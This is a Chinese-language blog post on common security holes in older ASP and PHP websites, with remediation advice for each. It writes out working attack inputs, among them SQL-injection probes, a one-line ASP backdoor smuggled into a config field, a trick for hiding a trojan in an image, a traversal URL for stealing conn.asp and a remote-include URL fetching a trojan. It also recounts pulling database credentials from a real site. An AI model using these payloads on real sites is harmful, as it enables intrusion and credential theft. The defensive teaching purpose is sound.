咨询热线:400-000-3720 中文 | English
您现在的位置: 安腾软件 >> ITEN博客 >> 正文

Web网站程序编写中的安全软肋

不管你的硬件防护措施如何的强大和严密,软件程序的算法和结构如何的规范严谨、网页程序编写时过滤的如何的严格,依然会破绽百出,这是为什么呢?因为Web程序的漏洞是永远都防不胜防的。例如动网论坛,动网经历了这么多年,被人不断的发掘出这么多的漏洞,其中有很多漏洞都是一些很低级的错误。一个纯静态的网页,不知道后台,也不知道FTP帐号密码等信息,但是它还是被人拿下了,这又是为什么呢?今天就让笔者来替大家进行一次不完全归纳及简要分析。下面我们一起来看一下由于程序员在软件编写过程中的疏漏导致的漏洞。

  网站程序存在的漏洞

  1. 注入漏洞

  2. 上传文件格式验证不完善

  3. 参数可写入文件——构造一句话

  4. mdb数据库改用ASP\ASA等名字作为数据库扩展名(添加防下载代码)

  5. 后台显示数据库路径

  6. 数据库可备份修改扩展

  7. 文件管理部分传递参数过滤问题及外部提交

  8. XSS漏洞骗取cookies得到后台权限

  9. 任意文件下载漏洞

  10. 远程包含漏洞

  11. 使用未加密的cookies进行用户权限等级及权限验证

  12. session被构造欺骗

  下面就让我们来简要分析下这些漏洞的形成和解决办法:

  (1) 注入漏洞

  注入漏洞的产生原理:

  我们来手工构造一段存在注入漏洞的查询程序,这里就使用asp比较简单明了



 这段代码直接从浏览器接收了id的值,然后不进行任何过滤就提交进数据库查询,首先我们来判断下是否存在注入,通常使用的办法是 and 1=1返回正常



and 1=2返回错误或无返回内容则认为存在注入漏洞,我个人经常偷懒直接在地址栏后面加上一个“’”,返回错误或无返回内容则认为有注入。



构造注入语句:

  and exists (select count(*) from admin)

  将这段代码加到地址后面就是

  http://localhost/index.asp/id=1 and exists (select count(*) from admin)

  那么在程序中接收到的参数就变成了后面的联合查询语句,我们带入数据库查询部分。看看结果如何?

  sql="select * from news where id="&1 and exists (select count (*) from admin)

  结果显而易见,原来的单句查询变成了联合查询,将admin表的内容进行了查询操作,这个语句是用来判断字段是否存在的。如果字段存在则查询成功,返回正常,字段不存在就返回错误提示,表示不存在表。详细的注入方法这里就不说明了。

 另外有有一个技巧,有一些站点不是对整站进行过滤的,所以导致出现一些隐藏的注入点。比如有一个文件他对提交的id参数的值进行了过滤无法注入,但是你会留意到地址栏里的参数有很多个的,加入有一个没有进行过滤,同样可以产生注入漏洞。

  例如:

  http://localhost/index.asp?class=1&id=1在程序中有时候只对id这个参数进行过滤而没有对class进行过滤,所以就导致了一个隐藏注入点。我们将地址改为http://localhost/index.asp?class=1,然后再进行注入,如果这个时候程序中没有对id这个参数的非空条件进行处理的话,我们就可能顺利的进行注入了。

  另外一种情况是,有的程序员虽然处心积虑的写好了防注入的自定义函数,但是在程序编写过程中并没有进行调用,所以依然导致注入漏洞的产生。



  另外现特别需要注意的就是对cookies注入进行过滤,因为现在有特别多的网站程序员都习惯了依赖通用防注入系统,但是旧版本的通用防注入系统都存在一个问题,就是没有对cookies注入进行过滤。

  也就是说当我们发现一个网站使用了通用防注入的话,就证明网站本身程序并没有对注入进行过滤,当这个网站恰好使用的是一个旧版本的通用防注入程序的话,那么相当于告诉我们“此地无银三百两”了。下面要做的事情就是构造简单的cookies注入语句就可以轻松拿下后台的帐号密码了。

  所以程序员要特别注意对程序后台地址的验证或者隐藏,这里对程序员的后台提出以下几点意见:

  1. 后台编写使用类似动易的管理验证码

  2. 后台地址路径手工输入正确地址后转向正确管理后台

  3. 用户可自定义后台文件夹名称和路径

  4. 对于不开源的程序,数据库的表名和字段名使用非常规名称

  (2) 上传功能导致的漏洞

  1. 验证扩展名不严密导致上传任意或特殊文件

  处理建议:

  (1) 验证时使用放行符合格式的文件,而不对不匹配格式进行验证

  也就是说当你的网站只需要用户上传jpg bmp gif rar zip 等格式的文件的时候,验证模块则只允许这几个格式的文件上传,而不是对不可上传的文件格式进行过滤和错误提示。这样可以 大程度的避免非法文件的上传。

  (2)对上传文件的文件头标识进行验证,例如:动网等程序对图片的标识验证,从而避免如下图中的一句话木马的构造。



  (3)对附加文件进行检测有一种技术叫“文件隐藏技术”,其实就是利用windows的命令行下的一条命令 copy 1.gif /a + 1.asp /b 1.gif将2个文件进行合并,这个办法可以用来合并木马进mdb数据库,然后通过备份将文件保存为一个指定的木马文件,所以程序员在程序编写过程中也要特别注意这点,动网论坛的程序可以作为一个参考。

  (4)上传目录不能动态生成,前端时间由于IIS6 的一个解析漏洞,导致动易等一系列的大型网站被黑。问题就出在他们的程序允许以注册用户的用户名生成一个目录,当用户注册一个1.php的用户名,然后上传一个改名为1.jpg后的php木马,就得到一个访问路径http://www.xxx.com/user/1.php/1.jpg。当我们访问这个jpg文件的时候IIS6的漏洞就提供了我们便利。因为这个jpg将以一个php程序的身份被运行。结果显而易见,我们顺利得到一个webshell,所以不只是对用户上传目录不允许动态生成,也建议不要提供设置上传目录的功能。因为windows有一个严重的Bug,就是目录不存在的时候则自动生成。

  (5)上传验证格式不要在后台提供设置,很多网站允许在后台设置允许上传或者禁止上传的文件格式,这个功能是我完全不必要的,虽然提供了更完善更强大的功能,交互性加强了。但是带来的安全问题远超过他的使用性。所以建议程序员在开发网站程序的时候不要提供这个不必要的功能。

  (3 ) 程序参数允许写入文件

  在对“蓝木企业管理系统”进行分析的时候发现现在有很多程序在后台允许设置的参数是允许写入文件的。这个做的问题就是允许我们构造特殊的语句,将一个参数保存文件改造为一个木马,当提交的表单对文本域的长度进行限制的时候我们可以构造一个一句话木马,没有过滤的话,我们就可以直接写入一个大马了。所以建议程序员养成良好的习惯,将参数数据都保存到数据库中,不要保存到文件里,避免类似情况的发生。下面我们以蓝木企业管理系统为例,进行演示:



这里的所有参数都是写入到setup.asp这个文件里的



因为他并没有对写入的参数进行任何的过滤,所以我们可以手工写入参数,对语句进行提前结束,然后得到一个一句话后门。我们这里修改网站名称好了,改为:测试"%><%execute request("value")%><%a="1,发现修改后的配置文件内容变为:



访问setup.asp返回



     (4)mdb数据库改用ASP\ASA等名字作为数据库扩展名

      自从网上出现了下载默认数据库文件进行密码爆破,从而得到后台权限的入侵例子,很多站长开始盲目的跟随改数据库文件名的潮流,将mdb数据库改为asp或asa在过去确实可以防止下载,但是后来网上陆续出现了各种下载软件支持下载asp文件,人们可以下载完后改名得到数据库。

       数据库被下载还不是 可怕的,一个asp扩展名的数据库在构造一句话木马的时候利用价值是非常大的,入侵者可以在任何可以对数据库写入数据的地方像数据库写入精心构造的一句话木马,成功写入只要寻找一个具有写权限的目录,即可生成一个webshell,当然这样的问题只存在于数据库路径已知、存在暴库漏洞、后台允许备份数据库为指定文件名等情况下,那么防止数据库被下载的办法有如下几种:

    1.给数据库名称添加特殊符号 例如:#@$database.mdb
    2.修改数据库扩展名 例如:database.jsp(前提是你的服务器不支持jsp否则将可能被利用来构造一句话木马)
    3.将数据库放到网站上层目录,然后使用绝对路径进行调用,现在很多空间提供商都提供这样的功能
    例如:网站目录D:\www\test\wwwroot,上层路径存在一个专门用来存放数据库的文件夹database,那么在数据库调用时候使用D:\www\test\database\database.mdb,这样只要数据库文件不在网站当前目录下,入侵者就无法下载了。
    4.为数据库添加一个新表,表里的内容是十六进制数据:3C25206C6F6F70203C25
也就是<% loop <%,这个时候如果往数据库里添加一句话,企图备份为asp的话,就会出现错误



       但是这个办法并不是绝对安全的,所谓“上有政策下有对策“。这个办法很快就被破解了,破解的办法是:构造语句
<%'<% loop <%:%>,只要我们在数据库里的两个地方合适地插入<%'和:%>即可将loop的防下载给过滤掉,所以为了更好的保护我们的数据库,我个人建议网站编写者 好在数据库里添加loop防下载代码,同时提醒用户修改数据库默认名称并将数据库放到网站的上层目录中。


  (5 )后台显示数据库路径

  现在有很多网站程序后台有带类似asp探针一类的功能,可以显示网站的绝对路径以及数据库的文件名称,这个功能对于一个网站建设者来说没有什么实用价值,到是它给入侵者带来的价值更高。很多时候知道网站路径即可进行跳转和写入木马,而知道数据库路径的话问题更为严重:可以下载数据库获取更多信息和客户资料、运气好的话还可以写入一句话木马。

  所以后台显示网站路径及数据库路径和名称这个功能尽量避免使用。

  (6 )数据库可备份修改扩展

  备份数据库——一个典型的获取webshell的办法,通过上传一个jpg或者其他格式的木马,然后通过备份得到一个asp、php、jsp的webshell,所以现在很多网站程序在备份的时候都是由系统自动生成的文件名,不允许用户自定义。其实数据库备份这个功能完全不必要,加入网站被删除,数据库肯定会被黑客删除。 好的备份方式是自己手工备份到本地电脑。

 (7 )文件管理部分传递参数过滤问题及外部提交

  这个漏洞的典型例子就是Ewebeditor,他的uploadfile.asp等文件中就存在着典型的参数外部提交,导致入侵者可以由浏览器提交需要列出文件的路径,从而达到任意目录浏览的目的,可以浏览目录就可以知道数据库路径,从而获得更高的信息和权限。



 这里dir的值是从浏览器获取的,而且没有进行过滤,所以我们手工构造下就可以跳转到任意目录了





  允许浏览任意目录的同时伴随的允许下载任意文件,例如数据库连接配置文件conn.asp或者你可以直接浏览得到数据库名称,并对其进行下载。所以网站编写中对于文件管理这个功能的编写一定要尽可能的避免允许外部提交参数并且对目录的访问进行过滤和限制。

(8 )XSS漏洞骗取cookies得到后台权限

  这里有一段简单的检测代码:

      <SCRIPT>alert("测试");</SCRIPT>


  将这段代码插入到你的网站可以提交数据的地方,例如:留言本,论坛,新闻。等的标题位置,或者内容位置,提交后访问对应的留言或者文章,如果弹出窗口



  则说明这个位置存在Xss漏洞。关于xss的漏洞的详细说明和利用办法这里不具体了解了。我们就来说说它的危害。

  一个普通的xss代码可以用来挂马,但是一个精心构造的xss代码却可以用来渗透,盗取管理员cookies,然后在本地修改cookies从而得到后台权限。当然xss的功能之强大不仅限于此。我们所要知道的就是,一定要注意在网站程序编写过程中对代码和数据的过滤进行严格处理,用主动防御的一句话叫做“宁可错杀一千,也不放过一个“。

  另外提供一个解决方案:

  对用户的cookies进行加密处理,后台用户使用session验证。因为session是保存在服务器的。所以即使cookies被盗取,入侵者无法在session对象消失以前进行操作的话,也无法得到更深入的权限。

  (9 )任意文件下载漏洞

  典型的例子就是新云,由于下载文件时候允许从地址栏提交文件路径。导致用户可以构造路径下载网站数据库配置文件,从而得到后台权限。

  例:

  http://www.xxx.com/flash/downfile.asp?url=uploadfile/../../conn.asp

  这个漏洞同样出现在了黑客防线的网站上。黑客防线使用的程序是”乔客” CMS 3.0 通过这个漏洞,我们得到了数据库帐号密码。可惜是内网数据库,没有webshell的前提下我们无法进行深入的检测了。



  由此我们可以看出,任意文件下载漏洞有多么可怕.所以对编写下载网站程序的程序员提出下面几点注意事项:

  1. 下载文件路径保存进数据库,禁止外部提交

  2. 假如入侵者已经得到后台权限,或者在前台允许自己提交资源连接(自己构造一个conn.asp的下载路径)依然可以下载指定文件,所以一定要对文件路径进行过滤

  3. 对下载文件类型进行过滤,设置允许下载的格式

  (10) 远程包含漏洞

  这个漏洞够强悍,直接得到webshell,还好这个漏洞只存在于PHP中。我们来简单说明下漏洞形成原因:

<?php
include($include."/a.php");
?>




  $include已经设置好路径,但是我们可以通过构造一个路径来达到攻击的目的.

  比方说我们提交:

  http://www.xxx.com/index.php?include=http://www.ccc.com/muma.txt?

  就可以轻松获得一个webshell。解决办法是关闭全局变量。4.2版本以后都是默认关闭的,为了就是解决这个问题,所以也请广大服务器管理员注意跟新服务器上的第三方程序版本。

  (11 )使用未加密的cookies进行用户权限等级及权限验证

  有很多网站程序员图方便,和节约服务器资源,使用cookies来验证用户信息。导致入侵者可以通过修改本地cookies进行入侵。而session 对象虽然比较安全,但由于是保存在服务器上,30分钟不活动才会自动清理出内存,所以消耗资源非常大。相对折中的处理办法是:

  对于前台用户使用加密的cookies 而后台用户则使用session 这样一来不但提高效率和减少资源消耗,还提高了安全性。因为后台用户数量少,而且使用session也可以降低Xss的成功率。

  (12 )session对象欺骗

  去年在论坛上看到的才知道有session欺骗这个说法,session欺骗的 低条件是必须拿下同服务器的一个其他站点,也就是我们说的旁注。

  因为session是保存在服务器上的,所以必须将构造好的session欺骗用的文件上传到旁注到的站点里,才能对服务器里的session进行欺骗。下面就是一个session欺骗的实例:

  这段代码将session写入了数据库

<%
    dim rs
    set rs=Server.Createobject("Adodb.recordset")
    sql="select * from kevinadmin"
    rs.open sql,conn
    oldpass=rs("k_pass")
    rs.close
    sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
    'response.write sql
    rs.open sql,conn
    if err then
    response.write "修改失败"
    else
    response.write "修改成功"
    end if
    %>


  我们可以通过构造进行session注入

<%
    session("user")="Huanhuan'and 1=2 and '1'='1"
%>
     同样我们可以利用这个构造修改用户ID或者权限:

<%
    Session("UserID")="105"
%>


  Session(“”)里面的内容根据不同程序使用的名称而定

  看论坛里的人测试过,证明可行。

  所以服务器的安全设置对于一个网站的安全性也是非常重要的。